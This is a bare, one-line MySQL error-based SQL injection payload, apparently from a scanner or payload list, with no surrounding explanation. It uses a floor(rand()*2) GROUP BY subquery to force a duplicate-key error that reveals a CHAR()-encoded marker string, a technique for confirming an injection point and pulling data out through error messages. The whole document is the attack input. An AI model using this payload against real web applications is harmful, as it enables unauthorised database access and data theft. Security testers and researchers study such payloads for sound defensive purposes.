(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(100),CHAR(72),CHAR(81),CHAR(81),CHAR(74),CHAR(97),CHAR(54),CHAR(54)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))